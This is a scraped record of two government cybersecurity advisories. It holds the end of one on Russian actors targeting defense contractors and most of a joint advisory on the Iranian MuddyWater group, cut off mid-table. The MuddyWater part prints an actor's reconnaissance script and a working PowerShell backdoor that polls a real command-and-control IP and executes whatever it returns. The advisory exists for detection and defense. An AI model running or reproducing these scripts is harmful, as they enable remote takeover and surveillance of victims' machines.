These specific actors obtained and abused credentials of domain [[T1078.002](<https://attack.mitre.org/techniques/T1078/002>)] and cloud accounts [[T1078.004](<https://attack.mitre.org/techniques/T1078/004>)].[[19](<https://attack.mitre.org/software/S0154/>)] The actors also used external remote services to gain access to systems [[T1133](<https://attack.mitre.org/techniques/T1133>)].[20] The adversary took advantage of weaknesses in internet-facing servers and conducted SQL injection attacks against organizations' external websites [[T1190](<https://attack.mitre.org/techniques/T1190>)].[[21](<https://attack.mitre.org/groups/G0007>)] Finally, they sent spearphishing emails with a malicious link in an attempt to gain access [[T1566.002](<https://attack.mitre.org/techniques/T1566/002>)].[22] \n\n\nID | Name | Description \n---|---|--- \nT1078 | Valid Accounts | Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access. \nT1078.002 | Valid Accounts: Domain Accounts | Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. \nT1078.004 | Valid Accounts: Cloud Accounts | Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. \nT1133 | External Remote Services | Adversaries may leverage external-facing remote services to initially access and/or persist within a network. \nT1190 | Exploit Public-Facing Application | Adversaries may attempt to take advantage of a weakness in an internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. \nT1566.002 | Phishing: Spearphishing Link | Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. \n \n#### **Persistence **[[TA0003](<https://attack.mitre.org/tactics/TA0003>)]\n\nPersistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials, and other interruptions that could cut off their access. The adversary obtains and abuses credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion [[T1078](<https://attack.mitre.org/techniques/T1078>)].[[23](<https://attack.mitre.org/groups/G0007>)] \n\nID | **Name ** | Description \n---|---|--- \nT1078 | Valid Accounts | Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. \n \n#### **Privilege Escalation** [[TA0004](<https://attack.mitre.org/tactics/TA0004>)]\n\nPrivilege Escalation consists of techniques that adversaries use to gain higher-level permissions on a system or network. The adversary obtains and abuses credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion [[T1078](<https://attack.mitre.org/techniques/T1078>)].[[24](<https://attack.mitre.org/groups/G0007>)] Specifically in this case, credentials of cloud accounts [[T1078.004](<https://attack.mitre.org/techniques/T1078/004>)] were obtained and abused.[[25](<https://attack.mitre.org/software/S0154/>)] \n\nID | Name | Description \n---|---|--- \nT1078 | Valid Accounts | Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access. \nT1078.004 | Valid Accounts: Cloud Accounts | Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. \n \n#### **Defense Evasion** [[TA0005](<https://attack.mitre.org/tactics/TA0005>)]\n\nDefense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. The adversary made its executables and files difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit [[T1027](<https://attack.mitre.org/techniques/T1027>)].[[26](<https://attack.mitre.org/software/S0410/>)] \n\n\nID | Name | Description \n---|---|--- \nT1027 | Obfuscated Files or Information | Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. \n \n#### **Credential Access **[[TA0006](<https://attack.mitre.org/tactics/TA0006>)]\n\nCredential Access consists of techniques for stealing credentials like account names and passwords. The adversary attempted to access or create a copy of the Active Directory (AD) domain database to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights [[T1003.003](<https://attack.mitre.org/techniques/T1003/003>)].[[27](<https://attack.mitre.org/software/S0250/>)] The adversary also used a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials [[T1110.003](<https://attack.mitre.org/techniques/T1110/003>)].[[28](<https://attack.mitre.org/groups/G0007>)] \n\nID | Name | Description \n---|---|--- \nT1003.003 | OS Credential Dumping: NTDS | Adversaries may attempt to access or create a copy of the Active Directory domain database to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. \nT1110.003 | Brute Force: Password Spraying | Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. \n \n#### **Discovery **[[TA0007](<https://attack.mitre.org/tactics/TA0007>)]\n\nDiscovery consists of techniques an adversary may use to gain knowledge about the system and internal network. The adversary enumerated files and directories or searched in specific locations of a host or network share for certain information within a file system [[T1083](<https://attack.mitre.org/techniques/T1083>)].[29] In addition, the adversary attempted to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain or forest environments [[T1482](<https://attack.mitre.org/techniques/T1482>)].[30] \n\nID | Name | Description \n---|---|--- \nT1083 | File and Directory Discovery | Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. \nT1482 | Domain Trust Discovery | Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. \n \n**Collection [[TA0009](<https://attack.mitre.org/tactics/TA0009>)]**\n\nCollection consists of both the techniques adversaries may use to gather information and the sources that information is collected from that are relevant to the adversary's objectives. The adversary leverages information repositories, such as SharePoint, to mine valuable information [[T1213.002](<https://attack.mitre.org/techniques/T1213/002>)].[[31](<https://attack.mitre.org/groups/G0007>)] \n\nID | Name | Description \n---|---|--- \nT1213.002 | Data from Information Repositories: SharePoint | Adversaries may leverage the SharePoint repository as a source to mine valuable information. \n \n**Command and Control [[TA0011](<https://attack.mitre.org/tactics/TA0011>)]**\n\nCommand and Control (C2) consists of techniques that adversaries may use to communicate with systems under their control within a victim network. The adversary chained together multiple proxies to disguise the source of malicious traffic. In this case, TOR and VPN servers are used as multi-hop proxies to route C2 traffic and obfuscate their activities [[T1090.003](<https://attack.mitre.org/techniques/T1090/003>)].[[32](<https://attack.mitre.org/groups/G0007>)] \n\n\nID | Name | Description \n---|---|--- \nT1090.003 | Proxy: Multi-hop Proxy | To disguise the source of malicious traffic, adversaries may chain together multiple proxies. \n \n### Additional Resources\n\n[1] NSA, CISA, FBI, NCSC Cybersecurity Advisory: [Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments](<https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF>), 1 July 2021. \n[2] NSA Cybersecurity Advisory: [Mitigating Recent VPN Vulnerabilities](<https://media.defense.gov/2019/Oct/07/2002191601/-1/-1/0/CSA-MITIGATING-RECENT-VPN-VULNERABILITIES.PDF>), 7 October 2019. \n[3] NSA, CISA, FBI, NCSC Cybersecurity Advisory: [Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments](<https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF>), 1 July 2021. \n[4] Microsoft Article: [AD Forest Recovery \u2013 Resetting the krbtgt password](<https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/manage/ad-forest-recovery-resetting-the-krbtgt-password>), 29 July 2021. \n[5] Microsoft GitHub: [New-KrbtgtKeys.ps1](<https://github.com/microsoft/New-KrbtgtKeys.ps1>), 14 May 2020. \n[6] NSA Cybersecurity Information: [Defend Privileges and Accounts](<https://media.defense.gov/2019/Sep/09/2002180330/-1/-1/0/Defend Privileges and Accounts - Copy.pdf>), August 2019. \n[7] Microsoft Article: [Group Managed Service Accounts Overview](<https://docs.microsoft.com/en-us/windows-server/security/group-managed-service-accounts/group-managed-service-accounts-overview>), 29 July 2021. \n[8] NSA Cybersecurity Information: [Leverage Modern Hardware Security Features](<https://media.defense.gov/2019/Sep/09/2002180345/-1/-1/0/Leverage Modern Hardware Security Features - Copy.pdf>), August 2019. \n[9] Microsoft Article: [Protect derived domain credentials with Windows Defender Credential Guard](<https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard>), 3 December 2021. \n[10] Microsoft Article: [Windows Defender Credential Guard protection limits](<https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-protection-limits>), 3 December 2021. \n[11] Microsoft Article: [Windows 11 requirements](<https://docs.microsoft.com/en-us/windows/whats-new/windows-11-requirements>), 30 November 2021. \n[12] Microsoft Blog Post: [The Importance of KB2871997 and KB2928120 for Credential Protection](<https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/the-importnace-of-kb2871997-and-kb2928120-for-credential/ba-p/258478>), 20 September 2021. \n[13] Microsoft Article: [What\u2019s New in Credential Protection](<https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/whats-new-in-credential-protection>), 7 January 2022. \n[14] NSA Cybersecurity Factsheet: [PowerShell: Security Risks and Defenses](<https://www.iad.gov/iad/library/ia-guidance/security-tips/powershell-security-risks-and-defenses.cfm>), 1 December 2016. \n[15] NSA Cybersecurity Information: [Update and Upgrade Software Immediately](<https://media.defense.gov/2019/Sep/09/2002180319/-1/-1/0/Update and Upgrade Software Immediately.docx - Copy.pdf>), August 2019. \n[16] NSA Cybersecurity Information: [Actively Manage Systems and Configurations](<https://media.defense.gov/2019/Sep/09/2002180326/-1/-1/0/Actively Manage Systems and Configurations.docx - Copy.pdf>), August 2019. \n[17] MITRE Groups: [APT28](<https://attack.mitre.org/groups/G0007>), 18 October 2021. \n[18] MITRE Groups: [APT28](<https://attack.mitre.org/groups/G0007>), 18 October 2021. \n[19] MITRE Software: [Cobalt Strike](<https://attack.mitre.org/software/S0154/>), 18 October 2021. \n[20] Based on technical information shared by Mandiant. \n[21] MITRE Groups: [APT28](<https://attack.mitre.org/groups/G0007>), 18 October 2021. \n[22] Based on technical information shared by Mandiant. \n[23] MITRE Groups: [APT28](<https://attack.mitre.org/groups/G0007>), 18 October 2021. \n[24] MITRE Groups: [APT28](<https://attack.mitre.org/groups/G0007>), 18 October 2021. \n[25] MITRE Software: [Cobalt Strike](<https://attack.mitre.org/software/S0154/>), 18 October 2021. \n[26] MITRE Software: [Fysbis](<https://attack.mitre.org/software/S0410/>), 6 November 2020. \n[27] MITRE Software: [Koadic](<https://attack.mitre.org/software/S0250/>), 30 March 2020. \n[28] MITRE Groups: [APT28](<https://attack.mitre.org/groups/G0007>), 18 October 2021. \n[29] Based on technical information shared by Mandiant. \n[30] Based on technical information shared by Mandiant. \n[31] MITRE Groups: [APT28](<https://attack.mitre.org/groups/G0007>), 18 October 2021. \n[32] MITRE Groups: [APT28](<https://attack.mitre.org/groups/G0007>), 18 October 2021.\n\n### Revisions\n\nFebruary 16, 2022: Initial Version\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-02-16T12:00:00", "type": "ics", "title": "Russian State-Sponsored Cyber Actors Target Cleared Defense Contractor Networks to Obtain Sensitive U.S. Defense Information and Technology", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2020-0688", "CVE-2020-17144"], "modified": "2022-02-16T12:00:00", "id": "AA22-047A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-047a", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2023-03-14T18:28:18", "description": "### Summary\n\n**Actions to Take Today to Protect Against Malicious Activity** \n* Search for indicators of compromise. \n* Use antivirus software. \n* [Patch](<https://us-cert.cisa.gov/ncas/tips/ST04-006>) all systems. \n* Prioritize patching [known exploited vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>). \n* Train users to recognize and report [phishing attempts](<https://us-cert.cisa.gov/ncas/tips/ST04-014>). \n* Use [multi-factor authentication](<https://us-cert.cisa.gov/ncas/tips/ST05-012>).\n\n_**Note: **this advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK\u00ae) framework, version 10. See the [ATT&CK for Enterprise](<https://attack.mitre.org/versions/v10/techniques/enterprise/>) for all referenced threat actor tactics and techniques._\n\nThe Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the U.S. Cyber Command Cyber National Mission Force (CNMF), and the United Kingdom\u2019s National Cyber Security Centre (NCSC-UK) have observed a group of Iranian government-sponsored advanced persistent threat (APT) actors, known as MuddyWater, conducting cyber espionage and other malicious cyber operations targeting a range of government and private-sector organizations across sectors\u2014including telecommunications, defense, local government, and oil and natural gas\u2014in Asia, Africa, Europe, and North America. **Note:** MuddyWater is also known as Earth Vetala, MERCURY, Static Kitten, Seedworm, and TEMP.Zagros.\n\nMuddyWater is a subordinate element within the Iranian Ministry of Intelligence and Security (MOIS).[[1](<https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/>)] This APT group has conducted broad cyber campaigns in support of MOIS objectives since approximately 2018. MuddyWater actors are positioned both to provide stolen data and accesses to the Iranian government and to share these with other malicious cyber actors.\n\nMuddyWater actors are known to exploit publicly reported vulnerabilities and use open-source tools and strategies to gain access to sensitive data on victims\u2019 systems and deploy ransomware. These actors also maintain persistence on victim networks via tactics such as side-loading dynamic link libraries (DLLs)\u2014to trick legitimate programs into running malware\u2014and obfuscating PowerShell scripts to hide command and control (C2) functions. FBI, CISA, CNMF, and NCSC-UK have observed MuddyWater actors recently using various malware\u2014variants of PowGoop, Small Sieve, Canopy (also known as Starwhale), Mori, and POWERSTATS\u2014along with other tools as part of their malicious activity. \n\nThis advisory provides observed tactics, techniques, and procedures (TTPs); malware; and indicators of compromise (IOCs) associated with this Iranian government-sponsored APT activity to aid organizations in the identification of malicious activity against sensitive networks. \n\nFBI, CISA, CNMF, NCSC-UK, and the National Security Agency (NSA) recommend organizations apply the mitigations in this advisory and review the following resources for additional information. **Note:** also see the Additional Resources section.\n\n * Malware Analysis Report \u2013 [MAR-10369127-1.v1: MuddyWater](<https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-055a>)\n * IOCs \u2013 AA22-052A.stix and MAR-10369127-1.v1.stix\n * CISA's webpage \u2013 [Iran Cyber Threat Overview and Advisories](<https://www.cisa.gov/uscert/iran>)\n * [NCSC-UK MAR \u2013 Small Sieve](<https://www.ncsc.gov.uk/files/NCSC-Malware-Analysis-Report-Small-Sieve.pdf>)\n * [CNMF's press release \u2013 Iranian intel cyber suite of malware uses open source tools](<https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/>)\n\nClick here for a PDF version of this report.\n\n### Technical Details\n\nFBI, CISA, CNMF, and NCSC-UK have observed the Iranian government-sponsored MuddyWater APT group employing spearphishing, exploiting publicly known vulnerabilities, and leveraging multiple open-source tools to gain access to sensitive government and commercial networks. \n\nAs part of its spearphishing campaign, MuddyWater attempts to coax their targeted victim into downloading ZIP files, containing either an Excel file with a malicious macro that communicates with the actor\u2019s C2 server or a PDF file that drops a malicious file to the victim\u2019s network [[T1566.001](<https://attack.mitre.org/versions/v10/techniques/T1566/001/>), [T1204.002](<https://attack.mitre.org/versions/v10/techniques/T1204/002>)]. MuddyWater actors also use techniques such as side-loading DLLs [[T1574.002](<https://attack.mitre.org/versions/v10/techniques/T1574/002/>)] to trick legitimate programs into running malware and obfuscating PowerShell scripts [[T1059.001](<https://attack.mitre.org/versions/v10/techniques/T1059/001/>)] to hide C2 functions [[T1027](<https://attack.mitre.org/versions/v10/techniques/T1027/>)] (see the PowGoop section for more information). \n\nAdditionally, the group uses multiple malware sets\u2014including PowGoop, Small Sieve, Canopy/Starwhale, Mori, and POWERSTATS\u2014for loading malware, backdoor access, persistence [[TA0003](<https://attack.mitre.org/versions/v10/tactics/TA0003/>)], and exfiltration [[TA0010](<https://attack.mitre.org/versions/v10/tactics/TA0010/>)]. See below for descriptions of some of these malware sets, including newer tools or variants to the group\u2019s suite. Additionally, see Malware Analysis Report [MAR-10369127.r1.v1: MuddyWater](<https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-055a>) for further details.\n\n#### **PowGoop**\n\nMuddyWater actors use new variants of PowGoop malware as their main loader in malicious operations; it consists of a DLL loader and a PowerShell-based downloader. The malicious file impersonates a legitimate file that is signed as a Google Update executable file.\n\nAccording to samples of PowGoop analyzed by [CISA](<https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-055a>) and [CNMF](<https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/>), PowGoop consists of three components:\n\n * A DLL file renamed as a legitimate filename, `Goopdate.dll`, to enable the DLL side-loading technique [[T1574.002](<https://attack.mitre.org/versions/v10/techniques/T1574/002/>)]. The DLL file is contained within an executable, `GoogleUpdate.exe`. \n * A PowerShell script, obfuscated as a .dat file, `goopdate.dat`, used to decrypt and run a second obfuscated PowerShell script, `config.txt` [[T1059.001](<https://attack.mitre.org/versions/v10/techniques/T1059/001/>)].\n * `config.txt`, an encoded, obfuscated PowerShell script containing a beacon to a hardcoded IP address.\n\nThese components retrieve encrypted commands from a C2 server. The DLL file hides communications with MuddyWater C2 servers by executing with the Google Update service. \n\n#### **Small Sieve**\n\nAccording to a sample [analyzed by NCSC-UK](<https://www.ncsc.gov.uk/files/NCSC-Malware-Analysis-Report-Small-Sieve.pdf>), Small Sieve is a simple Python [[T1059.006](<https://attack.mitre.org/versions/v10/techniques/T1059/006/>)] backdoor distributed using a Nullsoft Scriptable Install System (NSIS) installer, `gram_app.exe`. The NSIS installs the Python backdoor, `index.exe`, and adds it as a registry run key [[T1547.001](<https://attack.mitre.org/versions/v10/techniques/T1547/001/>)], enabling persistence [[TA0003](<https://attack.mitre.org/versions/v10/tactics/TA0003/>)]. \n\nMuddyWater disguises malicious executables and uses filenames and Registry key names associated with Microsoft's Windows Defender to avoid detection during casual inspection. The APT group has also used variations of Microsoft (e.g., \"Microsift\") and Outlook in its filenames associated with Small Sieve [[T1036.005](<https://attack.mitre.org/versions/v10/techniques/T1036/005/>)].\n\nSmall Sieve provides basic functionality required to maintain and expand a foothold in victim infrastructure and avoid detection [[TA0005](<https://attack.mitre.org/versions/v10/tactics/TA0005/>)] by using custom string and traffic obfuscation schemes together with the Telegram Bot application programming interface (API). Specifically, Small Sieve\u2019s beacons and taskings are performed using Telegram API over Hypertext Transfer Protocol Secure (HTTPS) [[T1071.001](<https://attack.mitre.org/versions/v10/techniques/T1071/001>)], and the tasking and beaconing data is obfuscated through a hex byte swapping encoding scheme combined with an obfuscated Base64 function [[T1027](<https://attack.mitre.org/versions/v10/techniques/T1027>)], [T1132.002](<https://attack.mitre.org/versions/v10/techniques/T1132/002/>)].\n\n**Note:** cybersecurity agencies in the United Kingdom and the United States attribute Small Sieve to MuddyWater with high confidence. \n\nSee Appendix B for further analysis of Small Sieve malware.\n\n#### **Canopy**\n\nMuddyWater also uses Canopy/Starwhale malware, likely distributed via spearphishing emails with targeted attachments [[T1566.001](<https://attack.mitre.org/versions/v10/techniques/T1566/001>)]. According to two Canopy/Starwhale samples analyzed by CISA, Canopy uses Windows Script File (.wsf) scripts distributed by a malicious Excel file. **Note:** the cybersecurity agencies of the United Kingdom and the United States attribute these malware samples to MuddyWater with high confidence. \n\nIn the samples CISA analyzed, a malicious Excel file, `Cooperation terms.xls`, contained macros written in Visual Basic for Applications (VBA) and two encoded Windows Script Files. When the victim opens the Excel file, they receive a prompt to enable macros [[T1204.002](<https://attack.mitre.org/versions/v10/techniques/T1204/002/>)]. Once this occurs, the macros are executed, decoding and installing the two embedded Windows Script Files.\n\nThe first .wsf is installed in the current user startup folder [[T1547.001](<https://attack.mitre.org/versions/v10/techniques/T1547/001/>)] for persistence. The file contains hexadecimal (hex)-encoded strings that have been reshuffled [[T1027](<https://attack.mitre.org/versions/v10/techniques/T1027/>)]. The file executes a command to run the second .wsf.\n\nThe second .wsf also contains hex-encoded strings that have been reshuffled. This file collects [[TA0035](<https://attack.mitre.org/versions/v10/tactics/TA0035/>)] the victim system\u2019s IP address, computer name, and username [[T1005](<https://attack.mitre.org/versions/v10/techniques/T1005/>)]. The collected data is then hex-encoded and sent to an adversary-controlled IP address, `http[:]88.119.170[.]124`, via an HTTP POST request [[T1041](<https://attack.mitre.org/versions/v10/techniques/T1041/>)].\n\n#### **Mori**\n\nMuddyWater also uses the Mori backdoor that uses Domain Name System tunneling to communicate with the group\u2019s C2 infrastructure [[T1572](<https://attack.mitre.org/versions/v10/techniques/T1572/>)]. \n\nAccording to one sample analyzed by CISA, `FML.dll`, Mori uses a DLL written in C++ that is executed with `regsvr32.exe` with export `DllRegisterServer`; this DLL appears to be a component to another program. `FML.dll` contains approximately 200MB of junk data [[T1001.001](<https://attack.mitre.org/versions/v10/techniques/T1001/001/>)] in a resource directory 205, number 105. Upon execution, `FML.dll` creates a mutex, `0x50504060`, and performs the following tasks:\n\n * Deletes the file `FILENAME.old` and deletes file by registry value. The filename is the DLL file with a `.old` extension.\n * Resolves networking APIs from strings that are ADD-encrypted with the key` 0x05`.\n * Uses Base64 and Java Script Object Notation (JSON) based on certain key values passed to the JSON library functions. It appears likely that JSON is used to serialize C2 commands and/or their results.\n * Communicates using HTTP over either IPv4 or IPv6, depending on the value of an unidentified flag, for C2 [[T1071.001](<https://attack.mitre.org/versions/v10/techniques/T1071/001/>)].\n * Reads and/or writes data from the following Registry Keys, `HKLM\\Software\\NFC\\IPA` and `HKLM\\Software\\NFC\\(Default)`.\n\n#### **POWERSTATS**\n\nThis group is also known to use the POWERSTATS backdoor, which runs PowerShell scripts to maintain persistent access to the victim systems [[T1059.001](<https://attack.mitre.org/versions/v10/techniques/T1059>)]. \n\nCNMF has posted samples further detailing the different parts of MuddyWater\u2019s new suite of tools\u2014 along with JavaScript files used to establish connections back to malicious infrastructure\u2014to the malware aggregation tool and repository, [Virus Total](<http://www.virustotal.com/en/user/CYBERCOM_Malware_Alert>). Network operators who identify multiple instances of the tools on the same network should investigate further as this may indicate the presence of an Iranian malicious cyber actor.\n\nMuddyWater actors are also known to exploit unpatched vulnerabilities as part of their targeted operations. FBI, CISA, CNMF, and NCSC-UK have observed this APT group recently exploiting the Microsoft Netlogon elevation of privilege vulnerability ([CVE-2020-1472](<https://vulners.com/cve/CVE-2020-1472>)) and the Microsoft Exchange memory corruption vulnerability ([CVE-2020-0688](<https://vulners.com/cve/CVE-2020-0688>)). See [CISA\u2019s Known Exploited Vulnerabilities Catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) for additional vulnerabilities with known exploits and joint Cybersecurity Advisory: [Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities](<https://www.cisa.gov/uscert/ncas/alerts/aa21-321a>) for additional Iranian APT group-specific vulnerability exploits.\n\n#### **Survey Script**\n\nThe following script is an example of a survey script used by MuddyWater to enumerate information about victim computers. It queries the Windows Management Instrumentation (WMI) service to obtain information about the compromised machine to generate a string, with these fields separated by a delimiter (e.g., `;;` in this sample). The produced string is usually encoded by the MuddyWater implant and sent to an adversary-controlled IP address.\n\n$O = Get-WmiObject Win32_OperatingSystem;$S = $O.Name;$S += \";;\";$ips = \"\";Get-WmiObject Win32_NetworkAdapterConfiguration -Filter \"IPEnabled=True\" | % {$ips = $ips + \", \" + $_.IPAddress[0]};$S += $ips.substring(1);$S += \";;\";$S += $O.OSArchitecture;$S += \";;\";$S += [System.Net.DNS]::GetHostByName('').HostName;$S += \";;\";$S += ((Get-WmiObject Win32_ComputerSystem).Domain);$S += \";;\";$S += $env:UserName;$S += \";;\";$AntiVirusProducts = Get-WmiObject -Namespace \"root\\SecurityCenter2\" -Class AntiVirusProduct -ComputerName $env:computername;$resAnti = @();foreach($AntiVirusProduct in $AntiVirusProducts){$resAnti += $AntiVirusProduct.displayName};$S += $resAnti;echo $S;\n\n#### **Newly Identified PowerShell Backdoor**\n\nThe newly identified PowerShell backdoor used by MuddyWater below uses a single-byte Exclusive-OR (XOR) to encrypt communications with the key 0x02 to adversary-controlled infrastructure. The script is lightweight in functionality and uses the InvokeScript method to execute responses received from the adversary.\n\nfunction encode($txt,$key){$enByte = [Text.Encoding]::UTF8.GetBytes($txt);for($i=0; $i -lt $enByte.count ; $i++){$enByte[$i] = $enByte[$i] -bxor $key;}$encodetxt = [Convert]::ToBase64String($enByte);return $encodetxt;}function decode($txt,$key){$enByte = [System.Convert]::FromBase64String($txt);for($i=0; $i -lt $enByte.count ; $i++){$enByte[$i] = $enByte[$i] -bxor $key;}$dtxt = [System.Text.Encoding]::UTF8.GetString($enByte);return $dtxt;}$global:tt=20;while($true){try{$w = [System.Net.HttpWebRequest]::Create('http://95.181.161.49:80/index.php?id=<victim identifier>');$w.proxy = [Net.WebRequest]::GetSystemWebProxy();$r=(New-Object System.IO.StreamReader($w.GetResponse().GetResponseStream())).ReadToEnd();if($r.Length -gt 0){$res=[string]$ExecutionContext.InvokeCommand.InvokeScript(( decode $r 2));$wr = [System.Net.HttpWebRequest]::Create('http://95.181.161.49:80/index.php?id=<victim identifier>');$wr.proxy = [Net.WebRequest]::GetSystemWebProxy();$wr.Headers.Add('cookie',(encode $res 2));$wr.GetResponse().GetResponseStream();}}catch {}Start-Sleep -Seconds $global:tt;}\n\n### MITRE ATT&CK Techniques\n\n[MuddyWater](<https://attack.mitre.org/groups/G0069/>) uses the ATT&CK techniques listed in table 1.\n\n_Table 1: MuddyWater ATT&CK Techniques[[2](<https://attack.mitre.org/versions/v10/groups/G0069/>)]_\n\nTechnique Title | **ID** | **Use** \n---|---|--- \n**Reconnaissance** \nGather Victim Identity Information: Email Addresses | [T1589.002](<https://attack.mitre.org/versions/v10/techniques/T1589/002>) | MuddyWater has specifically targeted government agency employees with spearphishing emails. \n**Resource Development** \nAcquire Infrastructure: Web Services | [T1583.006](<https://attack.mitre.org/versions/v10/techniques/T1583/006/>) | MuddyWater has used file sharing services including OneHub to distribute tools. \nObtain Capabilities: Tool | [T1588.002](<https://attack.mitre.org/versions/v10/techniques/T1588/002>) | MuddyWater has made use of legitimate tools ConnectWise and RemoteUtilities for access to target environments. \n**Initial Access** \nPhishing: Spearphishing Attachment | [T1566.001](<https://attack.mitre.org/versions/v10/techniques/T1566/001>) | MuddyWater has compromised third parties and used compromised accounts to send spearphishing emails with targeted attachments. \nPhishing: Spearphishing Link | [T1566.002](<https://attack.mitre.org/versions/v10/techniques/T1566/002>) | MuddyWater has sent targeted spearphishing emails with malicious links. \n**Execution** \nWindows Management Instrumentation | [T1047](<https://attack.mitre.org/versions/v10/techniques/T1047>) | MuddyWater has used malware that leveraged Windows Management Instrumentation for execution and querying host information. \nCommand and Scripting Interpreter: PowerShell | [T1059.001](<https://attack.mitre.org/versions/v10/techniques/T1059/001/>) | MuddyWater has used PowerShell for execution. \nCommand and Scripting Interpreter: Windows Command Shell | [1059.003](<https://attack.mitre.org/versions/v10/techniques/T1059/003>) | MuddyWater has used a custom tool for creating reverse shells. \nCommand and Scripting Interpreter: Visual Basic | [T1059.005](<https://attack.mitre.org/versions/v10/techniques/T1059/005>) | MuddyWater has used Virtual Basic Script (VBS) files to execute its POWERSTATS payload, as well as macros. \nCommand and Scripting Interpreter: Python | [T1059.006](<https://attack.mitre.org/versions/v10/techniques/T1059/006>) | MuddyWater has used developed tools in Python including Out1. \nCommand and Scripting Interpreter: JavaScript | [T1059.007](<https://attack.mitre.org/versions/v10/techniques/T1059/007>) | MuddyWater has used JavaScript files to execute its POWERSTATS payload. \nExploitation for Client Execution | [T1203](<https://attack.mitre.org/versions/v10/techniques/T1203>) | MuddyWater has exploited the Office vulnerability CVE-2017-0199 for execution. \nUser Execution: Malicious Link | [T1204.001](<https://attack.mitre.org/versions/v10/techniques/T1204/001>) | MuddyWater has distributed URLs in phishing emails that link to lure documents. \nUser Execution: Malicious File | [T1204.002](<https://attack.mitre.org/versions/v10/techniques/T1204/002>) | MuddyWater has attempted to get users to enable macros and launch malicious Microsoft Word documents delivered via spearphishing emails. \nInter-Process Communication: Component Object Model | [T1559.001](<https://attack.mitre.org/versions/v10/techniques/T1559/001>) | MuddyWater has used malware that has the capability to execute malicious code via COM, DCOM, and Outlook. \nInter-Process Communication: Dynamic Data Exchange | [T1559.002](<https://attack.mitre.org/versions/v10/techniques/T1559/002>) | MuddyWater has used malware that can execute PowerShell scripts via Dynamic Data Exchange. \n**Persistence** \nScheduled Task/Job: Scheduled Task | [T1053.005](<https://attack.mitre.org/versions/v10/techniques/T1053/005>) | MuddyWater has used scheduled tasks to establish persistence. \nOffice Application Startup: Office Template Macros | [T1137.001](<https://attack.mitre.org/versions/v10/techniques/T1137/001>) | MuddyWater has used a Word Template, `Normal.dotm`, for persistence. \nBoot or Logon Autostart Execution: Registry Run Keys / Startup Folder | [T1547.001](<https://attack.mitre.org/versions/v10/techniques/T1547/001/>) | MuddyWater 